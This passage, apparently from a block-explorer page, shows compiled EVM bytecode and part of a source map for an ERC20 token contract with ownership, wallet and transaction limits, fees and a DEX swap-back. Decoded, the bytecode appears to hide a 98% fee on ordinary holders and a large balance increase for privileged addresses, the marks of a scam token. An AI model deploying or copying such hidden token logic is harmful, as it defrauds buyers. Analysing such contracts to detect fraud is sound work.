34801561047857600080fd5b50610481610794565b005b34801561048f57600080fd5b506102d860135481565b3480156104a557600080fd5b506102d860155481565b3480156104bb57600080fd5b506000546001600160a01b031661026e565b3480156104d957600080fd5b5061020861083d565b3480156104ee57600080fd5b5061023e6104fd36600461141f565b61084c565b34801561050e57600080fd5b5061023e61051d36600461141f565b61089b565b34801561052e57600080fd5b506102d8600b5481565b34801561054457600080fd5b506102086108a8565b34801561055957600080fd5b5061056d6105683660046114a9565b610936565b60408051928352602083019190915201610215565b34801561058e57600080fd5b50610208610973565b3480156105a357600080fd5b506102d86105b23660046114d9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105e957600080fd5b5060065461026e906001600160a01b031681565b34801561060957600080fd5b5061048161061836600461144b565b610980565b34801561062957600080fd5b5061023e61063836600461144b565b60036020526000908152604090205460ff1681565b60606008805461065c90611507565b80601f016020809104026020016040519081016040528092919081815260200182805461068890611507565b80156106d55780601f106106aa576101008083540402835291602001916106d5565b820191906000526020600020905b8154815290600101906020018083116106b857829003601f168201915b5050505050905090565b60006106ec338484610ab9565b50600192915050565b6000610702848484610b7a565b610754843361074f856040518060600160405280602881526020016116c7602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e84565b610ab9565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106ec91859061074f9086610eb0565b6000546001600160a01b031633146107f35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606009805461065c90611507565b60006106ec338461074f856040518060600160405280602581526020016116ef602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e84565b60006106ec338484610b7a565b600980546108b590611507565b80601f01602080910402602001604051908101604052809291908181526020018280546108e190611507565b801561092e5780601f106109035761010080835404028352916020019161092e565b820191906000526020600020905b81548152906001019060200180831161091157829003601f168201915b505050505081565b6000806000610959606461095361094c87610ebc565b8890610a9a565b90610aad565b905060006109678683610f2b565b96919550909350505050565b600880546108b590611507565b6000546001600160a01b031633146109da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ea565b6001600160a01b038116610a3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610aa68284611557565b9392505050565b6000610aa68284611576565b6001600160a01b03831615801590610ad957506001600160a01b03821615155b610b195760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107ea565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610ba657506006546001600160a01b03838116911614155b8015610bbb57506001600160a01b0382163014155b8015610bd557506018546001600160a01b03838116911614155b8015610bef57506007546001600160a01b03838116911614155b8015610c1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610c2e57506000546001600160a01b03848116911614155b15610c97576001600160a01b038216600090815260016020526040902054601354610c598383611598565b1115610c955760405162461bcd60e51b815260206004820152600b60248201526a4d61782057616c6c65742160a81b60448201526064016107ea565b505b6000546001600160a01b03848116911614801590610cc357506000546001600160a01b03838116911614155b8015610cd45750610cd48383610f37565b15610d1557601554811115610d155760405162461bcd60e51b81526020600482015260076024820152664d61782054782160c81b60448201526064016107ea565b600c5460ff6201000082048116911610801590610d3c5750601854600160a01b900460ff16155b8015610d5657506018546001600160a01b03848116911614155b8015610d6b5750601854600160a81b900460ff165b15610daa57600c805460ff1916905530600090815260016020526040902054601554811115610d9957506015545b8015610da857610da881610f7a565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610dec57506001600160a01b03831660009081526004602052604090205460ff165b15610e3457506001600160a01b03821660009081526005602052604081205460ff1615610e2f57600c54600161010090910460ff161015610e2f57610e2f610fbf565b610e72565b6018546001600160a01b0390811690851603610e5557600e54600d55610e72565b6018546001600160a01b0390811690841603610e7257600f54600d555b610e7e84848484610ff1565b50505050565b60008184841115610ea85760405162461bcd60e51b81526004016107ea91906113b2565b505050900390565b6000610aa68284611598565b600c54600090600161010090910460ff1610610f21576001600160a01b03821660009081526005602052604090205460ff16610f19576001600160a01b03821660009081526003602052604090205460ff16610f19576062610f25565b600d54610f25565b600d545b92915050565b6000610aa682846115b0565b6001600160a01b03821660009081526005602052604081205460ff1680610aa65750506001600160a01b031660009081526005602052604090205460ff16919050565b6018805460ff60a01b1916600160a01b179055610f9681611057565b6006544790610fae906001600160a01b0316826111b1565b50506018805460ff60a01b19169055565b600c54610fd590610100900460ff1660016115c7565b600c60016101000a81548160ff021916908360ff160217905550565b8061100357610ffe6111ec565b611030565b600c805460ff16906000611016836115ec565b91906101000a81548160ff021916908360ff160217905550505b61103b848484611231565b80610e7e57610e7e601054600d55601154600e55601254600f55565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108c5761108c61160b565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111099190611621565b8160018151811061111c5761111c61160b565b6001600160a01b0392831660209182029290920101526017546111429130911684610ab9565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117b90859060009086903090429060040161163e565b600060405180830381600087803b15801561119557600080fd5b505af11580156111a9573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111e7573d6000803e3d6000fd5b505050565b600d541580156111fc5750600e54155b80156112085750600f54155b1561120f57565b600e8054601155600f8054601255600d80546010556000928390559082905555565b60008061123e8386610936565b6001600160a01b03871660009081526001602052604090205491935091506112669084610f2b565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112959083610eb0565b6001600160a01b03851660009081526001602090815260408083209390935560059052205460ff16156112cb576112cb84611342565b306000908152600160205260409020546112e59082610eb0565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6001601f600a5b811561136d576113598184611557565b925081611365816116af565b925050611349565b6001600160a01b0384166000908152600160205260409020546113909084610eb0565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b818110156113df578581018301518582016040015282016113c3565b818111156113f1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461141c57600080fd5b50565b6000806040838503121561143257600080fd5b823561143d81611407565b946020939093013593505050565b60006020828403121561145d57600080fd5b8135610aa681611407565b60008060006060848603121561147d57600080fd5b833561148881611407565b9250602084013561149881611407565b929592945050506040919091013590565b600080604083850312156114bc57600080fd5b8235915060208301356114ce81611407565b809150509250929050565b600080604083850312156114ec57600080fd5b82356114f781611407565b915060208301356114ce81611407565b600181811c9082168061151b57607f821691505b60208210810361153b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561157157611571611541565b500290565b60008261159357634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156115ab576115ab611541565b500190565b6000828210156115c2576115c2611541565b500390565b600060ff821660ff84168060ff038211156115e4576115e4611541565b019392505050565b600060ff821660ff810361160257611602611541565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561163357600080fd5b8151610aa681611407565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561168e5784516001600160a01b031683529383019391830191600101611669565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816116be576116be611541565b50600019019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122008dcf4d8b150bde6982836df16a907064870e4d82f7a801fc52f49b01898dd9564736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101e75760003560e01c806370a0823111610102578063af465a2711610095578063dd62ed3e11610064578063dd62ed3e14610597578063e2e76d50146105dd578063f2fde38b146105fd578063fee59bf81461061d57600080fd5b8063af465a2714610522578063b09f126614610538578063cccdbe2e1461054d578063d28d88521461058257600080fd5b80638da5cb5b116100d15780638da5cb5b146104af57806395d89b41146104cd578063a457c2d7146104e2578063a9059cbb1461050257600080fd5b806370a0823114610436578063715018a61461046c57806378109e54146104835780637d1db4a51461049957600080fd5b806323b872dd1161017a57806340b9a54b1161014957806340b9a54b146103c957806349bd5a5e146103df5780634a74bb02146103ff578063590f897e1461042057600080fd5b806323b872dd14610337578063313ce567146103575780633950935114610379578063401565a81461039957600080fd5b80631694505e116101b65780631694505e146102a757806318160ddd146102c7578063183b986e146102e6578063220f66961461031657600080fd5b806306fdde03146101f3578063095ea7b31461021e5780631157a9291461024e57806313fad07a1461028657600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861064d565b60405161021591906113b2565b60405180910390f35b34801561022a57600080fd5b5061023e61023936600461141f565b6106df565b6040519015158152602001610215565b34801561025a57600080fd5b5060075461026e906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b34801561029257600080fd5b5060185461023e90600160b01b900460ff1681565b3480156102b357600080fd5b5060175461026e906001600160a01b031681565b3480156102d357600080fd5b50600b545b604051908152602001610215565b3480156102f257600080fd5b5061023e61030136600461144b565b60046020526000908152604090205460ff1681565b34801561032257600080fd5b5060185461023e90600160a01b900460ff1681565b34801561034357600080fd5b5061023e610352366004611468565b6106f5565b34801561036357600080fd5b50600a5460405160ff9091168152602001610215565b34801561038557600080fd5b5061023e61039436600461141f565b61075e565b3480156103a557600080fd5b5061023e6103b436600461144b565b60056020526000908152604090205460ff1681565b3480156103d557600080fd5b506102d8600e5481565b3480156103eb57600080fd5b5060185461026e906001600160a01b031681565b34801561040b57600080fd5b5060185461023e90600160a81b900460ff1681565b34801561042c57600080fd5b506102d8600f5481565b34801561044257600080fd5b506102d861045136600461144b565b6001600160a01b031660009081526001602052604090205490565b34801561047857600080fd5b50610481610794565b005b34801561048f57600080fd5b506102d860135481565b3480156104a557600080fd5b506102d860155481565b3480156104bb57600080fd5b506000546001600160a01b031661026e565b3480156104d957600080fd5b5061020861083d565b3480156104ee57600080fd5b5061023e6104fd36600461141f565b61084c565b34801561050e57600080fd5b5061023e61051d36600461141f565b61089b565b34801561052e57600080fd5b506102d8600b5481565b34801561054457600080fd5b506102086108a8565b34801561055957600080fd5b5061056d6105683660046114a9565b610936565b60408051928352602083019190915201610215565b34801561058e57600080fd5b50610208610973565b3480156105a357600080fd5b506102d86105b23660046114d9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105e957600080fd5b5060065461026e906001600160a01b031681565b34801561060957600080fd5b5061048161061836600461144b565b610980565b34801561062957600080fd5b5061023e61063836600461144b565b60036020526000908152604090205460ff1681565b60606008805461065c90611507565b80601f016020809104026020016040519081016040528092919081815260200182805461068890611507565b80156106d55780601f106106aa576101008083540402835291602001916106d5565b820191906000526020600020905b8154815290600101906020018083116106b857829003601f168201915b5050505050905090565b60006106ec338484610ab9565b50600192915050565b6000610702848484610b7a565b610754843361074f856040518060600160405280602881526020016116c7602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e84565b610ab9565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106ec91859061074f9086610eb0565b6000546001600160a01b031633146107f35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606009805461065c90611507565b60006106ec338461074f856040518060600160405280602581526020016116ef602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e84565b60006106ec338484610b7a565b600980546108b590611507565b80601f01602080910402602001604051908101604052809291908181526020018280546108e190611507565b801561092e5780601f106109035761010080835404028352916020019161092e565b820191906000526020600020905b81548152906001019060200180831161091157829003601f168201915b505050505081565b6000806000610959606461095361094c87610ebc565b8890610a9a565b90610aad565b905060006109678683610f2b565b96919550909350505050565b600880546108b590611507565b6000546001600160a01b031633146109da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ea565b6001600160a01b038116610a3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610aa68284611557565b9392505050565b6000610aa68284611576565b6001600160a01b03831615801590610ad957506001600160a01b03821615155b610b195760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107ea565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610ba657506006546001600160a01b03838116911614155b8015610bbb57506001600160a01b0382163014155b8015610bd557506018546001600160a01b03838116911614155b8015610bef57506007546001600160a01b03838116911614155b8015610c1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610c2e57506000546001600160a01b03848116911614155b15610c97576001600160a01b038216600090815260016020526040902054601354610c598383611598565b1115610c955760405162461bcd60e51b815260206004820152600b60248201526a4d61782057616c6c65742160a81b60448201526064016107ea565b505b6000546001600160a01b03848116911614801590610cc357506000546001600160a01b03838116911614155b8015610cd45750610cd48383610f37565b15610d1557601554811115610d155760405162461bcd60e51b81526020600482015260076024820152664d61782054782160c81b60448201526064016107ea565b600c5460ff6201000082048116911610801590610d3c5750601854600160a01b900460ff16155b8015610d5657506018546001600160a01b03848116911614155b8015610d6b5750601854600160a81b900460ff165b15610daa57600c805460ff1916905530600090815260016020526040902054601554811115610d9957506015545b8015610da857610da881610f7a565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610dec57506001600160a01b03831660009081526004602052604090205460ff165b15610e3457506001600160a01b03821660009081526005602052604081205460ff1615610e2f57600c54600161010090910460ff161015610e2f57610e2f610fbf565b610e72565b6018546001600160a01b0390811690851603610e5557600e54600d55610e72565b6018546001600160a01b0390811690841603610e7257600f54600d555b610e7e84848484610ff1565b50505050565b60008184841115610ea85760405162461bcd60e51b81526004016107ea91906113b2565b505050900390565b6000610aa68284611598565b600c54600090600161010090910460ff1610610f21576001600160a01b03821660009081526005602052604090205460ff16610f19576001600160a01b03821660009081526003602052604090205460ff16610f19576062610f25565b600d54610f25565b600d545b92915050565b6000610aa682846115b0565b6001600160a01b03821660009081526005602052604081205460ff1680610aa65750506001600160a01b031660009081526005602052604090205460ff16919050565b6018805460ff60a01b1916600160a01b179055610f9681611057565b6006544790610fae906001600160a01b0316826111b1565b50506018805460ff60a01b19169055565b600c54610fd590610100900460ff1660016115c7565b600c60016101000a81548160ff021916908360ff160217905550565b8061100357610ffe6111ec565b611030565b600c805460ff16906000611016836115ec565b91906101000a81548160ff021916908360ff160217905550505b61103b848484611231565b80610e7e57610e7e601054600d55601154600e55601254600f55565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108c5761108c61160b565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111099190611621565b8160018151811061111c5761111c61160b565b6001600160a01b0392831660209182029290920101526017546111429130911684610ab9565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117b90859060009086903090429060040161163e565b600060405180830381600087803b15801561119557600080fd5b505af11580156111a9573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111e7573d6000803e3d6000fd5b505050565b600d541580156111fc5750600e54155b80156112085750600f54155b1561120f57565b600e8054601155600f8054601255600d80546010556000928390559082905555565b60008061123e8386610936565b6001600160a01b03871660009081526001602052604090205491935091506112669084610f2b565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112959083610eb0565b6001600160a01b03851660009081526001602090815260408083209390935560059052205460ff16156112cb576112cb84611342565b306000908152600160205260409020546112e59082610eb0565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6001601f600a5b811561136d576113598184611557565b925081611365816116af565b925050611349565b6001600160a01b0384166000908152600160205260409020546113909084610eb0565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b818110156113df578581018301518582016040015282016113c3565b818111156113f1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461141c57600080fd5b50565b6000806040838503121561143257600080fd5b823561143d81611407565b946020939093013593505050565b60006020828403121561145d57600080fd5b8135610aa681611407565b60008060006060848603121561147d57600080fd5b833561148881611407565b9250602084013561149881611407565b929592945050506040919091013590565b600080604083850312156114bc57600080fd5b8235915060208301356114ce81611407565b809150509250929050565b600080604083850312156114ec57600080fd5b82356114f781611407565b915060208301356114ce81611407565b600181811c9082168061151b57607f821691505b60208210810361153b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561157157611571611541565b500290565b60008261159357634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156115ab576115ab611541565b500190565b6000828210156115c2576115c2611541565b500390565b600060ff821660ff84168060ff038211156115e4576115e4611541565b019392505050565b600060ff821660ff810361160257611602611541565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561163357600080fd5b8151610aa681611407565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561168e5784516001600160a01b031683529383019391830191600101611669565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816116be576116be611541565b50600019019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122008dcf4d8b150bde6982836df16a907064870e4d82f7a801fc52f49b01898dd9564736f6c634300080d0033

Deployed Bytecode Sourcemap

15511:9407:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18020:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18852:161;;;;;;;;;;-1:-1:-1;18852:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;18852:161:0;1072:187:1;16012:87:0;;;;;;;;;;-1:-1:-1;16012:87:0;;;;-1:-1:-1;;;;;16012:87:0;;;;;;-1:-1:-1;;;;;1444:32:1;;;1426:51;;1414:2;1399:18;16012:87:0;1264:219:1;19883:35:0;;;;;;;;;;-1:-1:-1;19883:35:0;;;;-1:-1:-1;;;19883:35:0;;;;;;16903:41;;;;;;;;;;-1:-1:-1;16903:41:0;;;;-1:-1:-1;;;;;16903:41:0;;;18297:95;;;;;;;;;;-1:-1:-1;18377:7:0;;18297:95;;;1869:25:1;;;1857:2;1842:18;18297:95:0;1723:177:1;15808:46:0;;;;;;;;;;-1:-1:-1;15808:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16986:28;;;;;;;;;;-1:-1:-1;16986:28:0;;;;-1:-1:-1;;;16986:28:0;;;;;;19021:313;;;;;;;;;;-1:-1:-1;19021:313:0;;;;;:::i;:::-;;:::i;18206:83::-;;;;;;;;;;-1:-1:-1;18272:9:0;;18206:83;;18272:9;;;;2760:36:1;;2748:2;2733:18;18206:83:0;2618:184:1;19342:218:0;;;;;;;;;;-1:-1:-1;19342:218:0;;;;;:::i;:::-;;:::i;15861:45::-;;;;;;;;;;-1:-1:-1;15861:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16424:26;;;;;;;;;;;;;;;;16951:28;;;;;;;;;;-1:-1:-1;16951:28:0;;;;-1:-1:-1;;;;;16951:28:0;;;17021:40;;;;;;;;;;-1:-1:-1;17021:40:0;;;;-1:-1:-1;;;17021:40:0;;;;;;16457:27;;;;;;;;;;;;;;;;18400:118;;;;;;;;;;-1:-1:-1;18400:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;18493:17:0;18466:7;18493:17;;;:8;:17;;;;;;;18400:118;7294:148;;;;;;;;;;;;;:::i;:::-;;16649:58;;;;;;;;;;;;;;;;16780:55;;;;;;;;;;;;;;;;7071:87;;;;;;;;;;-1:-1:-1;7117:7:0;7144:6;-1:-1:-1;;;;;7144:6:0;7071:87;;18111;;;;;;;;;;;;;:::i;19568:269::-;;;;;;;;;;-1:-1:-1;19568:269:0;;;;;:::i;:::-;;:::i;18526:167::-;;;;;;;;;;-1:-1:-1;18526:167:0;;;;;:::i;:::-;;:::i;16224:49::-;;;;;;;;;;;;;;;;16150:32;;;;;;;;;;;;;:::i;24627:288::-;;;;;;;;;;-1:-1:-1;24627:288:0;;;;;:::i;:::-;;:::i;:::-;;;;3509:25:1;;;3565:2;3550:18;;3543:34;;;;3482:18;24627:288:0;3335:248:1;16109:34:0;;;;;;;;;;;;;:::i;18701:143::-;;;;;;;;;;-1:-1:-1;18701:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;18809:18:0;;;18782:7;18809:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;18701:143;15915:90;;;;;;;;;;-1:-1:-1;15915:90:0;;;;-1:-1:-1;;;;;15915:90:0;;;7450:244;;;;;;;;;;-1:-1:-1;7450:244:0;;;;;:::i;:::-;;:::i;15758:43::-;;;;;;;;;;-1:-1:-1;15758:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;18020:83;18057:13;18090:5;18083:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18020:83;:::o;18852:161::-;18927:4;18944:39;3300:10;18967:7;18976:6;18944:8;:39::i;:::-;-1:-1:-1;19001:4:0;18852:161;;;;:::o;19021:313::-;19119:4;19136:36;19146:6;19154:9;19165:6;19136:9;:36::i;:::-;19183:121;19192:6;3300:10;19214:89;19252:6;19214:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19214:19:0;;;;;;:11;:19;;;;;;;;3300:10;19214:33;;;;;;;;;;:37;:89::i;:::-;19183:8;:121::i;:::-;-1:-1:-1;19322:4:0;19021:313;;;;;:::o;19342:218::-;3300:10;19430:4;19479:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;19479:34:0;;;;;;;;;;19430:4;;19447:83;;19470:7;;19479:50;;19518:10;19479:38;:50::i;7294:148::-;7117:7;7144:6;-1:-1:-1;;;;;7144:6:0;3300:10;7206:23;7198:68;;;;-1:-1:-1;;;7198:68:0;;4568:2:1;7198:68:0;;;4550:21:1;;;4587:18;;;4580:30;4646:34;4626:18;;;4619:62;4698:18;;7198:68:0;;;;;;;;;7401:1:::1;7385:6:::0;;7364:40:::1;::::0;-1:-1:-1;;;;;7385:6:0;;::::1;::::0;7364:40:::1;::::0;7401:1;;7364:40:::1;7432:1;7415:19:::0;;-1:-1:-1;;;;;;7415:19:0::1;::::0;;7294:148::o;18111:87::-;18150:13;18183:7;18176:14;;;;;:::i;19568:269::-;19661:4;19678:129;3300:10;19701:7;19710:96;19749:15;19710:96;;;;;;;;;;;;;;;;;3300:10;19710:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;19710:34:0;;;;;;;;;;;;:38;:96::i;18526:167::-;18604:4;18621:42;3300:10;18645:9;18656:6;18621:9;:42::i;16150:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;24627:288::-;24704:7;24713;24733:20;24756:42;24794:3;24756:33;24768:20;24781:6;24768:12;:20::i;:::-;24756:7;;:11;:33::i;:::-;:37;;:42::i;:::-;24733:65;-1:-1:-1;24809:22:0;24834:25;:7;24733:65;24834:11;:25::i;:::-;24809:50;24894:12;;-1:-1:-1;24627:288:0;;-1:-1:-1;;;;24627:288:0:o;16109:34::-;;;;;;;:::i;7450:244::-;7117:7;7144:6;-1:-1:-1;;;;;7144:6:0;3300:10;7206:23;7198:68;;;;-1:-1:-1;;;7198:68:0;;4568:2:1;7198:68:0;;;4550:21:1;;;4587:18;;;4580:30;4646:34;4626:18;;;4619:62;4698:18;;7198:68:0;4366:356:1;7198:68:0;-1:-1:-1;;;;;7539:22:0;::::1;7531:73;;;::::0;-1:-1:-1;;;7531:73:0;;4929:2:1;7531:73:0::1;::::0;::::1;4911:21:1::0;4968:2;4948:18;;;4941:30;5007:34;4987:18;;;4980:62;-1:-1:-1;;;5058:18:1;;;5051:36;5104:19;;7531:73:0::1;4727:402:1::0;7531:73:0::1;7641:6;::::0;;7620:38:::1;::::0;-1:-1:-1;;;;;7620:38:0;;::::1;::::0;7641:6;::::1;::::0;7620:38:::1;::::0;::::1;7669:6;:17:::0;;-1:-1:-1;;;;;;7669:17:0::1;-1:-1:-1::0;;;;;7669:17:0;;;::::1;::::0;;;::::1;::::0;;7450:244::o;2535:98::-;2593:7;2620:5;2624:1;2620;:5;:::i;:::-;2613:12;2535:98;-1:-1:-1;;;2535:98:0:o;2645:::-;2703:7;2730:5;2734:1;2730;:5;:::i;20485:262::-;-1:-1:-1;;;;;20578:19:0;;;;;;:44;;-1:-1:-1;;;;;;20601:21:0;;;;20578:44;20570:74;;;;-1:-1:-1;;;20570:74:0;;5863:2:1;20570:74:0;;;5845:21:1;5902:2;5882:18;;;5875:30;-1:-1:-1;;;5921:18:1;;;5914:47;5978:18;;20570:74:0;5661:341:1;20570:74:0;-1:-1:-1;;;;;20655:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20707:32;;1869:25:1;;;20707:32:0;;1842:18:1;20707:32:0;;;;;;;20485:262;;;:::o;20755:1413::-;7117:7;7144:6;-1:-1:-1;;;;;20883:13:0;;;7144:6;;20883:13;;;;:36;;-1:-1:-1;20906:13:0;;-1:-1:-1;;;;;20900:19:0;;;20906:13;;20900:19;;20883:36;:59;;;;-1:-1:-1;;;;;;20923:19:0;;20937:4;20923:19;;20883:59;:82;;;;-1:-1:-1;20952:13:0;;-1:-1:-1;;;;;20946:19:0;;;20952:13;;20946:19;;20883:82;:102;;;;-1:-1:-1;20975:10:0;;-1:-1:-1;;;;;20969:16:0;;;20975:10;;20969:16;;20883:102;:123;;;;-1:-1:-1;;;;;;20990:16:0;;;;;;:12;:16;;;;;;;;20989:17;20883:123;:142;;;;-1:-1:-1;7117:7:0;7144:6;-1:-1:-1;;;;;21010:15:0;;;7144:6;;21010:15;;20883:142;20879:299;;;-1:-1:-1;;;;;18493:17:0;;21041:24;18493:17;;;:8;:17;;;;;;21135:15;;21105:25;21124:6;18493:17;21105:25;:::i;:::-;21104:46;;21096:70;;;;-1:-1:-1;;;21096:70:0;;6342:2:1;21096:70:0;;;6324:21:1;6381:2;6361:18;;;6354:30;-1:-1:-1;;;6400:18:1;;;6393:41;6451:18;;21096:70:0;6140:335:1;21096:70:0;21026:152;20879:299;7117:7;7144:6;-1:-1:-1;;;;;21202:15:0;;;7144:6;;21202:15;;;;:32;;-1:-1:-1;7117:7:0;7144:6;-1:-1:-1;;;;;21221:13:0;;;7144:6;;21221:13;;21202:32;:58;;;;;21238:22;21251:4;21257:2;21238:12;:22::i;:::-;21198:132;;;21294:12;;21284:6;:22;;21276:42;;;;-1:-1:-1;;;21276:42:0;;6682:2:1;21276:42:0;;;6664:21:1;6721:1;6701:18;;;6694:29;-1:-1:-1;;;6739:18:1;;;6732:37;6786:18;;21276:42:0;6480:330:1;21276:42:0;21368:11;;;;;;;;21357:7;;:22;;;;:43;;-1:-1:-1;21384:16:0;;-1:-1:-1;;;21384:16:0;;;;21383:17;21357:43;:68;;;;-1:-1:-1;21412:13:0;;-1:-1:-1;;;;;21404:21:0;;;21412:13;;21404:21;;21357:68;:93;;;;-1:-1:-1;21429:21:0;;-1:-1:-1;;;21429:21:0;;;;21357:93;21354:405;;;21469:7;:11;;-1:-1:-1;;21469:11:0;;;21544:4;-1:-1:-1;18493:17:0;;;-1:-1:-1;18493:17:0;;;;;;21591:12;;21568:35;;21565:78;;;-1:-1:-1;21629:12:0;;21565:78;21660:24;;21657:91;;21700:36;21715:20;21700:14;:36::i;:::-;21452:307;21354:405;-1:-1:-1;;;;;21828:19:0;;21779:17;21828:19;;;:13;:19;;;;;;21799:4;;21828:19;;;:40;;-1:-1:-1;;;;;;21851:17:0;;;;;;:13;:17;;;;;;;;21828:40;21825:271;;;-